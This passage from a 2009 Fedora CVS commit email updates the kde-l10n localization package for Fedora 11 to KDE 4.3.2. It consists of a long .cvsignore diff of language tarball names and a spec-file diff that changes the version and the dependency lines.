-kde-l10n-et-4.2.96.tar.bz2
-kde-l10n-eu-4.2.96.tar.bz2
-kde-l10n-fi-4.2.96.tar.bz2
-kde-l10n-fr-4.2.96.tar.bz2
-kde-l10n-ga-4.2.96.tar.bz2
-kde-l10n-gl-4.2.96.tar.bz2
-kde-l10n-gu-4.2.96.tar.bz2
-kde-l10n-he-4.2.96.tar.bz2
-kde-l10n-hi-4.2.96.tar.bz2
-kde-l10n-hu-4.2.96.tar.bz2
-kde-l10n-is-4.2.96.tar.bz2
-kde-l10n-it-4.2.96.tar.bz2
-kde-l10n-ja-4.2.96.tar.bz2
-kde-l10n-kk-4.2.96.tar.bz2
-kde-l10n-km-4.2.96.tar.bz2
-kde-l10n-kn-4.2.96.tar.bz2
-kde-l10n-ko-4.2.96.tar.bz2
-kde-l10n-ku-4.2.96.tar.bz2
-kde-l10n-lt-4.2.96.tar.bz2
-kde-l10n-lv-4.2.96.tar.bz2
-kde-l10n-mai-4.2.96.tar.bz2
-kde-l10n-mk-4.2.96.tar.bz2
-kde-l10n-ml-4.2.96.tar.bz2
-kde-l10n-mr-4.2.96.tar.bz2
-kde-l10n-nb-4.2.96.tar.bz2
-kde-l10n-nds-4.2.96.tar.bz2
-kde-l10n-nl-4.2.96.tar.bz2
-kde-l10n-nn-4.2.96.tar.bz2
-kde-l10n-pa-4.2.96.tar.bz2
-kde-l10n-pl-4.2.96.tar.bz2
-kde-l10n-pt_BR-4.2.96.tar.bz2
-kde-l10n-pt-4.2.96.tar.bz2
-kde-l10n-ro-4.2.96.tar.bz2
-kde-l10n-ru-4.2.96.tar.bz2
-kde-l10n-sk-4.2.96.tar.bz2
-kde-l10n-sl-4.2.96.tar.bz2
-kde-l10n-sr-4.2.96.tar.bz2
-kde-l10n-sv-4.2.96.tar.bz2
-kde-l10n-tg-4.2.96.tar.bz2
-kde-l10n-th-4.2.96.tar.bz2
-kde-l10n-tr-4.2.96.tar.bz2
-kde-l10n-uk-4.2.96.tar.bz2
-kde-l10n-wa-4.2.96.tar.bz2
-kde-l10n-zh_CN-4.2.96.tar.bz2
-kde-l10n-zh_TW-4.2.96.tar.bz2
-kde-l10n-ar-4.2.98.tar.bz2
-kde-l10n-bg-4.2.98.tar.bz2
-kde-l10n-bn_IN-4.2.98.tar.bz2
-kde-l10n-ca-4.2.98.tar.bz2
-kde-l10n-csb-4.2.98.tar.bz2
-kde-l10n-cs-4.2.98.tar.bz2
-kde-l10n-da-4.2.98.tar.bz2
-kde-l10n-de-4.2.98.tar.bz2
-kde-l10n-el-4.2.98.tar.bz2
-kde-l10n-en_GB-4.2.98.tar.bz2
-kde-l10n-es-4.2.98.tar.bz2
-kde-l10n-et-4.2.98.tar.bz2
-kde-l10n-eu-4.2.98.tar.bz2
-kde-l10n-fi-4.2.98.tar.bz2
-kde-l10n-fr-4.2.98.tar.bz2
-kde-l10n-ga-4.2.98.tar.bz2
-kde-l10n-gl-4.2.98.tar.bz2
-kde-l10n-gu-4.2.98.tar.bz2
-kde-l10n-he-4.2.98.tar.bz2
-kde-l10n-hi-4.2.98.tar.bz2
-kde-l10n-hu-4.2.98.tar.bz2
-kde-l10n-is-4.2.98.tar.bz2
-kde-l10n-it-4.2.98.tar.bz2
-kde-l10n-ja-4.2.98.tar.bz2
-kde-l10n-kk-4.2.98.tar.bz2
-kde-l10n-km-4.2.98.tar.bz2
-kde-l10n-kn-4.2.98.tar.bz2
-kde-l10n-ko-4.2.98.tar.bz2
-kde-l10n-ku-4.2.98.tar.bz2
-kde-l10n-lt-4.2.98.tar.bz2
-kde-l10n-lv-4.2.98.tar.bz2
-kde-l10n-mai-4.2.98.tar.bz2
-kde-l10n-mk-4.2.98.tar.bz2
-kde-l10n-ml-4.2.98.tar.bz2
-kde-l10n-mr-4.2.98.tar.bz2
-kde-l10n-nb-4.2.98.tar.bz2
-kde-l10n-nds-4.2.98.tar.bz2
-kde-l10n-nl-4.2.98.tar.bz2
-kde-l10n-nn-4.2.98.tar.bz2
-kde-l10n-pa-4.2.98.tar.bz2
-kde-l10n-pl-4.2.98.tar.bz2
-kde-l10n-pt_BR-4.2.98.tar.bz2
-kde-l10n-pt-4.2.98.tar.bz2
-kde-l10n-ro-4.2.98.tar.bz2
-kde-l10n-ru-4.2.98.tar.bz2
-kde-l10n-sk-4.2.98.tar.bz2
-kde-l10n-sl-4.2.98.tar.bz2
-kde-l10n-sr-4.2.98.tar.bz2
-kde-l10n-sv-4.2.98.tar.bz2
-kde-l10n-tg-4.2.98.tar.bz2
-kde-l10n-th-4.2.98.tar.bz2
-kde-l10n-tr-4.2.98.tar.bz2
-kde-l10n-uk-4.2.98.tar.bz2
-kde-l10n-wa-4.2.98.tar.bz2
-kde-l10n-zh_CN-4.2.98.tar.bz2
-kde-l10n-zh_TW-4.2.98.tar.bz2
-kde-l10n-ar-4.3.0.tar.bz2
-kde-l10n-bg-4.3.0.tar.bz2
-kde-l10n-bn_IN-4.3.0.tar.bz2
-kde-l10n-ca-4.3.0.tar.bz2
-kde-l10n-csb-4.3.0.tar.bz2
-kde-l10n-cs-4.3.0.tar.bz2
-kde-l10n-da-4.3.0.tar.bz2
-kde-l10n-de-4.3.0.tar.bz2
-kde-l10n-el-4.3.0.tar.bz2
-kde-l10n-en_GB-4.3.0.tar.bz2
-kde-l10n-es-4.3.0.tar.bz2
-kde-l10n-et-4.3.0.tar.bz2
-kde-l10n-eu-4.3.0.tar.bz2
-kde-l10n-fi-4.3.0.tar.bz2
-kde-l10n-fr-4.3.0.tar.bz2
-kde-l10n-ga-4.3.0.tar.bz2
-kde-l10n-gl-4.3.0.tar.bz2
-kde-l10n-gu-4.3.0.tar.bz2
-kde-l10n-he-4.3.0.tar.bz2
-kde-l10n-hi-4.3.0.tar.bz2
-kde-l10n-hu-4.3.0.tar.bz2
-kde-l10n-is-4.3.0.tar.bz2
-kde-l10n-it-4.3.0.tar.bz2
-kde-l10n-ja-4.3.0.tar.bz2
-kde-l10n-kk-4.3.0.tar.bz2
-kde-l10n-km-4.3.0.tar.bz2
-kde-l10n-kn-4.3.0.tar.bz2
-kde-l10n-ko-4.3.0.tar.bz2
-kde-l10n-ku-4.3.0.tar.bz2
-kde-l10n-lt-4.3.0.tar.bz2
-kde-l10n-lv-4.3.0.tar.bz2
-kde-l10n-mai-4.3.0.tar.bz2
-kde-l10n-mk-4.3.0.tar.bz2
-kde-l10n-ml-4.3.0.tar.bz2
-kde-l10n-mr-4.3.0.tar.bz2
-kde-l10n-nb-4.3.0.tar.bz2
-kde-l10n-nds-4.3.0.tar.bz2
-kde-l10n-nl-4.3.0.tar.bz2
-kde-l10n-nn-4.3.0.tar.bz2
-kde-l10n-pa-4.3.0.tar.bz2
-kde-l10n-pl-4.3.0.tar.bz2
-kde-l10n-pt_BR-4.3.0.tar.bz2
-kde-l10n-pt-4.3.0.tar.bz2
-kde-l10n-ro-4.3.0.tar.bz2
-kde-l10n-ru-4.3.0.tar.bz2
-kde-l10n-sk-4.3.0.tar.bz2
-kde-l10n-sl-4.3.0.tar.bz2
-kde-l10n-sr-4.3.0.tar.bz2
-kde-l10n-sv-4.3.0.tar.bz2
-kde-l10n-tg-4.3.0.tar.bz2
-kde-l10n-th-4.3.0.tar.bz2
-kde-l10n-tr-4.3.0.tar.bz2
-kde-l10n-uk-4.3.0.tar.bz2
-kde-l10n-wa-4.3.0.tar.bz2
-kde-l10n-zh_CN-4.3.0.tar.bz2
-kde-l10n-zh_TW-4.3.0.tar.bz2
-kde-l10n-ar-4.3.1.tar.bz2
-kde-l10n-bg-4.3.1.tar.bz2
-kde-l10n-bn_IN-4.3.1.tar.bz2
-kde-l10n-ca-4.3.1.tar.bz2
-kde-l10n-csb-4.3.1.tar.bz2
-kde-l10n-cs-4.3.1.tar.bz2
-kde-l10n-da-4.3.1.tar.bz2
-kde-l10n-de-4.3.1.tar.bz2
-kde-l10n-el-4.3.1.tar.bz2
-kde-l10n-en_GB-4.3.1.tar.bz2
-kde-l10n-es-4.3.1.tar.bz2
-kde-l10n-et-4.3.1.tar.bz2
-kde-l10n-eu-4.3.1.tar.bz2
-kde-l10n-fi-4.3.1.tar.bz2
-kde-l10n-fr-4.3.1.tar.bz2
-kde-l10n-ga-4.3.1.tar.bz2
-kde-l10n-gl-4.3.1.tar.bz2
-kde-l10n-gu-4.3.1.tar.bz2
-kde-l10n-he-4.3.1.tar.bz2
-kde-l10n-hi-4.3.1.tar.bz2
-kde-l10n-hu-4.3.1.tar.bz2
-kde-l10n-is-4.3.1.tar.bz2
-kde-l10n-it-4.3.1.tar.bz2
-kde-l10n-ja-4.3.1.tar.bz2
-kde-l10n-kk-4.3.1.tar.bz2
-kde-l10n-km-4.3.1.tar.bz2
-kde-l10n-kn-4.3.1.tar.bz2
-kde-l10n-ko-4.3.1.tar.bz2
-kde-l10n-ku-4.3.1.tar.bz2
-kde-l10n-lt-4.3.1.tar.bz2
-kde-l10n-lv-4.3.1.tar.bz2
-kde-l10n-mai-4.3.1.tar.bz2
-kde-l10n-mk-4.3.1.tar.bz2
-kde-l10n-ml-4.3.1.tar.bz2
-kde-l10n-mr-4.3.1.tar.bz2
-kde-l10n-nb-4.3.1.tar.bz2
-kde-l10n-nds-4.3.1.tar.bz2
-kde-l10n-nl-4.3.1.tar.bz2
-kde-l10n-nn-4.3.1.tar.bz2
-kde-l10n-pa-4.3.1.tar.bz2
-kde-l10n-pl-4.3.1.tar.bz2
-kde-l10n-pt_BR-4.3.1.tar.bz2
-kde-l10n-pt-4.3.1.tar.bz2
-kde-l10n-ro-4.3.1.tar.bz2
-kde-l10n-ru-4.3.1.tar.bz2
-kde-l10n-sk-4.3.1.tar.bz2
-kde-l10n-sl-4.3.1.tar.bz2
-kde-l10n-sr-4.3.1.tar.bz2
-kde-l10n-sv-4.3.1.tar.bz2
-kde-l10n-tg-4.3.1.tar.bz2
-kde-l10n-th-4.3.1.tar.bz2
-kde-l10n-tr-4.3.1.tar.bz2
-kde-l10n-uk-4.3.1.tar.bz2
-kde-l10n-wa-4.3.1.tar.bz2
-kde-l10n-zh_CN-4.3.1.tar.bz2
-kde-l10n-zh_TW-4.3.1.tar.bz2
-kde-l10n-hr-4.3.1.tar.bz2
 kde-l10n-ar-4.3.2.tar.bz2
 kde-l10n-bg-4.3.2.tar.bz2
 kde-l10n-bn_IN-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 12:26:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 12:26:20 +0000 (UTC)
Subject: rpms/kde-l10n/F-11 .cvsignore, 1.26, 1.27 kde-l10n.spec, 1.86,
	1.87 sources, 1.31, 1.32
Message-ID: <20091006122620.08C0A11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kde-l10n/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22381/F-11

Modified Files:
	.cvsignore kde-l10n.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-11/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	5 Aug 2009 15:46:12 -0000	1.26
+++ .cvsignore	6 Oct 2009 12:26:19 -0000	1.27
@@ -1,280 +1,57 @@
-kde-l10n-ar-4.2.85.tar.bz2
-kde-l10n-nds-4.2.85.tar.bz2
-kde-l10n-bg-4.2.85.tar.bz2
-kde-l10n-bn_IN-4.2.85.tar.bz2
-kde-l10n-ca-4.2.85.tar.bz2
-kde-l10n-csb-4.2.85.tar.bz2
-kde-l10n-cs-4.2.85.tar.bz2
-kde-l10n-da-4.2.85.tar.bz2
-kde-l10n-de-4.2.85.tar.bz2
-kde-l10n-el-4.2.85.tar.bz2
-kde-l10n-en_GB-4.2.85.tar.bz2
-kde-l10n-es-4.2.85.tar.bz2
-kde-l10n-et-4.2.85.tar.bz2
-kde-l10n-eu-4.2.85.tar.bz2
-kde-l10n-fi-4.2.85.tar.bz2
-kde-l10n-fr-4.2.85.tar.bz2
-kde-l10n-ga-4.2.85.tar.bz2
-kde-l10n-gl-4.2.85.tar.bz2
-kde-l10n-gu-4.2.85.tar.bz2
-kde-l10n-he-4.2.85.tar.bz2
-kde-l10n-hi-4.2.85.tar.bz2
-kde-l10n-hu-4.2.85.tar.bz2
-kde-l10n-is-4.2.85.tar.bz2
-kde-l10n-it-4.2.85.tar.bz2
-kde-l10n-ja-4.2.85.tar.bz2
-kde-l10n-kk-4.2.85.tar.bz2
-kde-l10n-km-4.2.85.tar.bz2
-kde-l10n-kn-4.2.85.tar.bz2
-kde-l10n-ko-4.2.85.tar.bz2
-kde-l10n-ku-4.2.85.tar.bz2
-kde-l10n-lt-4.2.85.tar.bz2
-kde-l10n-lv-4.2.85.tar.bz2
-kde-l10n-mai-4.2.85.tar.bz2
-kde-l10n-mk-4.2.85.tar.bz2
-kde-l10n-ml-4.2.85.tar.bz2
-kde-l10n-mr-4.2.85.tar.bz2
-kde-l10n-nb-4.2.85.tar.bz2
-kde-l10n-nl-4.2.85.tar.bz2
-kde-l10n-nn-4.2.85.tar.bz2
-kde-l10n-pa-4.2.85.tar.bz2
-kde-l10n-pl-4.2.85.tar.bz2
-kde-l10n-pt_BR-4.2.85.tar.bz2
-kde-l10n-pt-4.2.85.tar.bz2
-kde-l10n-ro-4.2.85.tar.bz2
-kde-l10n-ru-4.2.85.tar.bz2
-kde-l10n-sk-4.2.85.tar.bz2
-kde-l10n-sl-4.2.85.tar.bz2
-kde-l10n-sr-4.2.85.tar.bz2
-kde-l10n-sv-4.2.85.tar.bz2
-kde-l10n-tg-4.2.85.tar.bz2
-kde-l10n-th-4.2.85.tar.bz2
-kde-l10n-tr-4.2.85.tar.bz2
-kde-l10n-uk-4.2.85.tar.bz2
-kde-l10n-wa-4.2.85.tar.bz2
-kde-l10n-zh_CN-4.2.85.tar.bz2
-kde-l10n-zh_TW-4.2.85.tar.bz2
-kde-l10n-ar-4.2.95.tar.bz2
-kde-l10n-bg-4.2.95.tar.bz2
-kde-l10n-bn_IN-4.2.95.tar.bz2
-kde-l10n-ca-4.2.95.tar.bz2
-kde-l10n-csb-4.2.95.tar.bz2
-kde-l10n-cs-4.2.95.tar.bz2
-kde-l10n-da-4.2.95.tar.bz2
-kde-l10n-de-4.2.95.tar.bz2
-kde-l10n-el-4.2.95.tar.bz2
-kde-l10n-en_GB-4.2.95.tar.bz2
-kde-l10n-es-4.2.95.tar.bz2
-kde-l10n-et-4.2.95.tar.bz2
-kde-l10n-eu-4.2.95.tar.bz2
-kde-l10n-fi-4.2.95.tar.bz2
-kde-l10n-fr-4.2.95.tar.bz2
-kde-l10n-ga-4.2.95.tar.bz2
-kde-l10n-gl-4.2.95.tar.bz2
-kde-l10n-gu-4.2.95.tar.bz2
-kde-l10n-he-4.2.95.tar.bz2
-kde-l10n-hi-4.2.95.tar.bz2
-kde-l10n-hu-4.2.95.tar.bz2
-kde-l10n-is-4.2.95.tar.bz2
-kde-l10n-it-4.2.95.tar.bz2
-kde-l10n-ja-4.2.95.tar.bz2
-kde-l10n-kk-4.2.95.tar.bz2
-kde-l10n-km-4.2.95.tar.bz2
-kde-l10n-kn-4.2.95.tar.bz2
-kde-l10n-ko-4.2.95.tar.bz2
-kde-l10n-ku-4.2.95.tar.bz2
-kde-l10n-lt-4.2.95.tar.bz2
-kde-l10n-lv-4.2.95.tar.bz2
-kde-l10n-mai-4.2.95.tar.bz2
-kde-l10n-mk-4.2.95.tar.bz2
-kde-l10n-ml-4.2.95.tar.bz2
-kde-l10n-mr-4.2.95.tar.bz2
-kde-l10n-nb-4.2.95.tar.bz2
-kde-l10n-nds-4.2.95.tar.bz2
-kde-l10n-nl-4.2.95.tar.bz2
-kde-l10n-nn-4.2.95.tar.bz2
-kde-l10n-pa-4.2.95.tar.bz2
-kde-l10n-pl-4.2.95.tar.bz2
-kde-l10n-pt_BR-4.2.95.tar.bz2
-kde-l10n-pt-4.2.95.tar.bz2
-kde-l10n-ro-4.2.95.tar.bz2
-kde-l10n-ru-4.2.95.tar.bz2
-kde-l10n-sk-4.2.95.tar.bz2
-kde-l10n-sl-4.2.95.tar.bz2
-kde-l10n-sr-4.2.95.tar.bz2
-kde-l10n-sv-4.2.95.tar.bz2
-kde-l10n-tg-4.2.95.tar.bz2
-kde-l10n-th-4.2.95.tar.bz2
-kde-l10n-tr-4.2.95.tar.bz2
-kde-l10n-uk-4.2.95.tar.bz2
-kde-l10n-wa-4.2.95.tar.bz2
-kde-l10n-zh_CN-4.2.95.tar.bz2
-kde-l10n-zh_TW-4.2.95.tar.bz2
-kde-l10n-ar-4.2.96.tar.bz2
-kde-l10n-bg-4.2.96.tar.bz2
-kde-l10n-bn_IN-4.2.96.tar.bz2
-kde-l10n-ca-4.2.96.tar.bz2
-kde-l10n-csb-4.2.96.tar.bz2
-kde-l10n-cs-4.2.96.tar.bz2
-kde-l10n-da-4.2.96.tar.bz2
-kde-l10n-de-4.2.96.tar.bz2
-kde-l10n-el-4.2.96.tar.bz2
-kde-l10n-en_GB-4.2.96.tar.bz2
-kde-l10n-es-4.2.96.tar.bz2
-kde-l10n-et-4.2.96.tar.bz2
-kde-l10n-eu-4.2.96.tar.bz2
-kde-l10n-fi-4.2.96.tar.bz2
-kde-l10n-fr-4.2.96.tar.bz2
-kde-l10n-ga-4.2.96.tar.bz2
-kde-l10n-gl-4.2.96.tar.bz2
-kde-l10n-gu-4.2.96.tar.bz2
-kde-l10n-he-4.2.96.tar.bz2
-kde-l10n-hi-4.2.96.tar.bz2
-kde-l10n-hu-4.2.96.tar.bz2
-kde-l10n-is-4.2.96.tar.bz2
-kde-l10n-it-4.2.96.tar.bz2
-kde-l10n-ja-4.2.96.tar.bz2
-kde-l10n-kk-4.2.96.tar.bz2
-kde-l10n-km-4.2.96.tar.bz2
-kde-l10n-kn-4.2.96.tar.bz2
-kde-l10n-ko-4.2.96.tar.bz2
-kde-l10n-ku-4.2.96.tar.bz2
-kde-l10n-lt-4.2.96.tar.bz2
-kde-l10n-lv-4.2.96.tar.bz2
-kde-l10n-mai-4.2.96.tar.bz2
-kde-l10n-mk-4.2.96.tar.bz2
-kde-l10n-ml-4.2.96.tar.bz2
-kde-l10n-mr-4.2.96.tar.bz2
-kde-l10n-nb-4.2.96.tar.bz2
-kde-l10n-nds-4.2.96.tar.bz2
-kde-l10n-nl-4.2.96.tar.bz2
-kde-l10n-nn-4.2.96.tar.bz2
-kde-l10n-pa-4.2.96.tar.bz2
-kde-l10n-pl-4.2.96.tar.bz2
-kde-l10n-pt_BR-4.2.96.tar.bz2
-kde-l10n-pt-4.2.96.tar.bz2
-kde-l10n-ro-4.2.96.tar.bz2
-kde-l10n-ru-4.2.96.tar.bz2
-kde-l10n-sk-4.2.96.tar.bz2
-kde-l10n-sl-4.2.96.tar.bz2
-kde-l10n-sr-4.2.96.tar.bz2
-kde-l10n-sv-4.2.96.tar.bz2
-kde-l10n-tg-4.2.96.tar.bz2
-kde-l10n-th-4.2.96.tar.bz2
-kde-l10n-tr-4.2.96.tar.bz2
-kde-l10n-uk-4.2.96.tar.bz2
-kde-l10n-wa-4.2.96.tar.bz2
-kde-l10n-zh_CN-4.2.96.tar.bz2
-kde-l10n-zh_TW-4.2.96.tar.bz2
-kde-l10n-ar-4.2.98.tar.bz2
-kde-l10n-bg-4.2.98.tar.bz2
-kde-l10n-bn_IN-4.2.98.tar.bz2
-kde-l10n-ca-4.2.98.tar.bz2
-kde-l10n-csb-4.2.98.tar.bz2
-kde-l10n-cs-4.2.98.tar.bz2
-kde-l10n-da-4.2.98.tar.bz2
-kde-l10n-de-4.2.98.tar.bz2
-kde-l10n-el-4.2.98.tar.bz2
-kde-l10n-en_GB-4.2.98.tar.bz2
-kde-l10n-es-4.2.98.tar.bz2
-kde-l10n-et-4.2.98.tar.bz2
-kde-l10n-eu-4.2.98.tar.bz2
-kde-l10n-fi-4.2.98.tar.bz2
-kde-l10n-fr-4.2.98.tar.bz2
-kde-l10n-ga-4.2.98.tar.bz2
-kde-l10n-gl-4.2.98.tar.bz2
-kde-l10n-gu-4.2.98.tar.bz2
-kde-l10n-he-4.2.98.tar.bz2
-kde-l10n-hi-4.2.98.tar.bz2
-kde-l10n-hu-4.2.98.tar.bz2
-kde-l10n-is-4.2.98.tar.bz2
-kde-l10n-it-4.2.98.tar.bz2
-kde-l10n-ja-4.2.98.tar.bz2
-kde-l10n-kk-4.2.98.tar.bz2
-kde-l10n-km-4.2.98.tar.bz2
-kde-l10n-kn-4.2.98.tar.bz2
-kde-l10n-ko-4.2.98.tar.bz2
-kde-l10n-ku-4.2.98.tar.bz2
-kde-l10n-lt-4.2.98.tar.bz2
-kde-l10n-lv-4.2.98.tar.bz2
-kde-l10n-mai-4.2.98.tar.bz2
-kde-l10n-mk-4.2.98.tar.bz2
-kde-l10n-ml-4.2.98.tar.bz2
-kde-l10n-mr-4.2.98.tar.bz2
-kde-l10n-nb-4.2.98.tar.bz2
-kde-l10n-nds-4.2.98.tar.bz2
-kde-l10n-nl-4.2.98.tar.bz2
-kde-l10n-nn-4.2.98.tar.bz2
-kde-l10n-pa-4.2.98.tar.bz2
-kde-l10n-pl-4.2.98.tar.bz2
-kde-l10n-pt_BR-4.2.98.tar.bz2
-kde-l10n-pt-4.2.98.tar.bz2
-kde-l10n-ro-4.2.98.tar.bz2
-kde-l10n-ru-4.2.98.tar.bz2
-kde-l10n-sk-4.2.98.tar.bz2
-kde-l10n-sl-4.2.98.tar.bz2
-kde-l10n-sr-4.2.98.tar.bz2
-kde-l10n-sv-4.2.98.tar.bz2
-kde-l10n-tg-4.2.98.tar.bz2
-kde-l10n-th-4.2.98.tar.bz2
-kde-l10n-tr-4.2.98.tar.bz2
-kde-l10n-uk-4.2.98.tar.bz2
-kde-l10n-wa-4.2.98.tar.bz2
-kde-l10n-zh_CN-4.2.98.tar.bz2
-kde-l10n-zh_TW-4.2.98.tar.bz2
-kde-l10n-ar-4.3.0.tar.bz2
-kde-l10n-bg-4.3.0.tar.bz2
-kde-l10n-bn_IN-4.3.0.tar.bz2
-kde-l10n-ca-4.3.0.tar.bz2
-kde-l10n-csb-4.3.0.tar.bz2
-kde-l10n-cs-4.3.0.tar.bz2
-kde-l10n-da-4.3.0.tar.bz2
-kde-l10n-de-4.3.0.tar.bz2
-kde-l10n-el-4.3.0.tar.bz2
-kde-l10n-en_GB-4.3.0.tar.bz2
-kde-l10n-es-4.3.0.tar.bz2
-kde-l10n-et-4.3.0.tar.bz2
-kde-l10n-eu-4.3.0.tar.bz2
-kde-l10n-fi-4.3.0.tar.bz2
-kde-l10n-fr-4.3.0.tar.bz2
-kde-l10n-ga-4.3.0.tar.bz2
-kde-l10n-gl-4.3.0.tar.bz2
-kde-l10n-gu-4.3.0.tar.bz2
-kde-l10n-he-4.3.0.tar.bz2
-kde-l10n-hi-4.3.0.tar.bz2
-kde-l10n-hu-4.3.0.tar.bz2
-kde-l10n-is-4.3.0.tar.bz2
-kde-l10n-it-4.3.0.tar.bz2
-kde-l10n-ja-4.3.0.tar.bz2
-kde-l10n-kk-4.3.0.tar.bz2
-kde-l10n-km-4.3.0.tar.bz2
-kde-l10n-kn-4.3.0.tar.bz2
-kde-l10n-ko-4.3.0.tar.bz2
-kde-l10n-ku-4.3.0.tar.bz2
-kde-l10n-lt-4.3.0.tar.bz2
-kde-l10n-lv-4.3.0.tar.bz2
-kde-l10n-mai-4.3.0.tar.bz2
-kde-l10n-mk-4.3.0.tar.bz2
-kde-l10n-ml-4.3.0.tar.bz2
-kde-l10n-mr-4.3.0.tar.bz2
-kde-l10n-nb-4.3.0.tar.bz2
-kde-l10n-nds-4.3.0.tar.bz2
-kde-l10n-nl-4.3.0.tar.bz2
-kde-l10n-nn-4.3.0.tar.bz2
-kde-l10n-pa-4.3.0.tar.bz2
-kde-l10n-pl-4.3.0.tar.bz2
-kde-l10n-pt_BR-4.3.0.tar.bz2
-kde-l10n-pt-4.3.0.tar.bz2
-kde-l10n-ro-4.3.0.tar.bz2
-kde-l10n-ru-4.3.0.tar.bz2
-kde-l10n-sk-4.3.0.tar.bz2
-kde-l10n-sl-4.3.0.tar.bz2
-kde-l10n-sr-4.3.0.tar.bz2
-kde-l10n-sv-4.3.0.tar.bz2
-kde-l10n-tg-4.3.0.tar.bz2
-kde-l10n-th-4.3.0.tar.bz2
-kde-l10n-tr-4.3.0.tar.bz2
-kde-l10n-uk-4.3.0.tar.bz2
-kde-l10n-wa-4.3.0.tar.bz2
-kde-l10n-zh_CN-4.3.0.tar.bz2
-kde-l10n-zh_TW-4.3.0.tar.bz2
+kde-l10n-ar-4.3.2.tar.bz2
+kde-l10n-bg-4.3.2.tar.bz2
+kde-l10n-bn_IN-4.3.2.tar.bz2
+kde-l10n-ca-4.3.2.tar.bz2
+kde-l10n-csb-4.3.2.tar.bz2
+kde-l10n-cs-4.3.2.tar.bz2
+kde-l10n-da-4.3.2.tar.bz2
+kde-l10n-de-4.3.2.tar.bz2
+kde-l10n-el-4.3.2.tar.bz2
+kde-l10n-en_GB-4.3.2.tar.bz2
+kde-l10n-es-4.3.2.tar.bz2
+kde-l10n-et-4.3.2.tar.bz2
+kde-l10n-eu-4.3.2.tar.bz2
+kde-l10n-fi-4.3.2.tar.bz2
+kde-l10n-fr-4.3.2.tar.bz2
+kde-l10n-ga-4.3.2.tar.bz2
+kde-l10n-gl-4.3.2.tar.bz2
+kde-l10n-gu-4.3.2.tar.bz2
+kde-l10n-he-4.3.2.tar.bz2
+kde-l10n-hi-4.3.2.tar.bz2
+kde-l10n-hr-4.3.2.tar.bz2
+kde-l10n-hu-4.3.2.tar.bz2
+kde-l10n-is-4.3.2.tar.bz2
+kde-l10n-it-4.3.2.tar.bz2
+kde-l10n-ja-4.3.2.tar.bz2
+kde-l10n-kk-4.3.2.tar.bz2
+kde-l10n-km-4.3.2.tar.bz2
+kde-l10n-kn-4.3.2.tar.bz2
+kde-l10n-ko-4.3.2.tar.bz2
+kde-l10n-ku-4.3.2.tar.bz2
+kde-l10n-lt-4.3.2.tar.bz2
+kde-l10n-lv-4.3.2.tar.bz2
+kde-l10n-mai-4.3.2.tar.bz2
+kde-l10n-mk-4.3.2.tar.bz2
+kde-l10n-ml-4.3.2.tar.bz2
+kde-l10n-mr-4.3.2.tar.bz2
+kde-l10n-nb-4.3.2.tar.bz2
+kde-l10n-nds-4.3.2.tar.bz2
+kde-l10n-nl-4.3.2.tar.bz2
+kde-l10n-nn-4.3.2.tar.bz2
+kde-l10n-pa-4.3.2.tar.bz2
+kde-l10n-pl-4.3.2.tar.bz2
+kde-l10n-pt_BR-4.3.2.tar.bz2
+kde-l10n-pt-4.3.2.tar.bz2
+kde-l10n-ro-4.3.2.tar.bz2
+kde-l10n-ru-4.3.2.tar.bz2
+kde-l10n-sk-4.3.2.tar.bz2
+kde-l10n-sl-4.3.2.tar.bz2
+kde-l10n-sr-4.3.2.tar.bz2
+kde-l10n-sv-4.3.2.tar.bz2
+kde-l10n-tg-4.3.2.tar.bz2
+kde-l10n-th-4.3.2.tar.bz2
+kde-l10n-tr-4.3.2.tar.bz2
+kde-l10n-uk-4.3.2.tar.bz2
+kde-l10n-wa-4.3.2.tar.bz2
+kde-l10n-zh_CN-4.3.2.tar.bz2
+kde-l10n-zh_TW-4.3.2.tar.bz2


Index: kde-l10n.spec
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/F-11/kde-l10n.spec,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- kde-l10n.spec	5 Sep 2009 02:56:30 -0000	1.86
+++ kde-l10n.spec	6 Oct 2009 12:26:19 -0000	1.87
@@ -1,8 +1,8 @@
 %define buildall 0
 
 Name: kde-l10n
-Version: 4.3.1
-Release: 2%{dist}
+Version: 4.3.2
+Release: 1%{dist}
 Url: http://www.kde.org
 Summary: Internationalization support for KDE
 Group: User Interface/Desktops
@@ -74,15 +74,12 @@ Source61: ftp://ftp.kde.org/pub/kde/stab
 Source62: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kde-l10n-hr-%{version}.tar.bz2
 Source1000: subdirs-kde-l10n
 
-# upstream patches
-
-Requires: kde-filesystem
-
-BuildRequires: kdelibs4-devel >= %{version}
+BuildRequires: cmake
 BuildRequires: findutils
 BuildRequires: gettext
-BuildRequires: kde-filesystem >= 4
-BuildRequires: cmake
+BuildRequires: kdelibs4-devel >= %{version}
+
+Requires: kde-filesystem
 
 %description
 Internationalization support for KDE
@@ -90,7 +87,7 @@ Internationalization support for KDE
 %package Afrikaans
 Summary: Afrikaans language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Afrikaans
@@ -99,7 +96,7 @@ Afrikaans support for KDE
 %package Arabic 
 Summary: Arabic language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-ar = %{version}-%{release}
 
 %description Arabic
@@ -108,7 +105,7 @@ Arabic support for KDE
 %package Azerbaijani
 Summary: Azerbaijani language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-af = %{version}-%{release}
 
 %description Azerbaijani
@@ -117,7 +114,7 @@ Azerbaijani language support for KDE
 %package Basque
 Summary: Basque language support for KDE
 Group: User Interface/Desktops
-Requires: kde-filesystem
+Requires: %{name} = %{version}-%{release}
 Provides: %{name}-eu = %{version}-%{release}
 
 %description Basque
@@ -126,7 +123,7 @@ Basque language support for KDE
 %package Belarusian
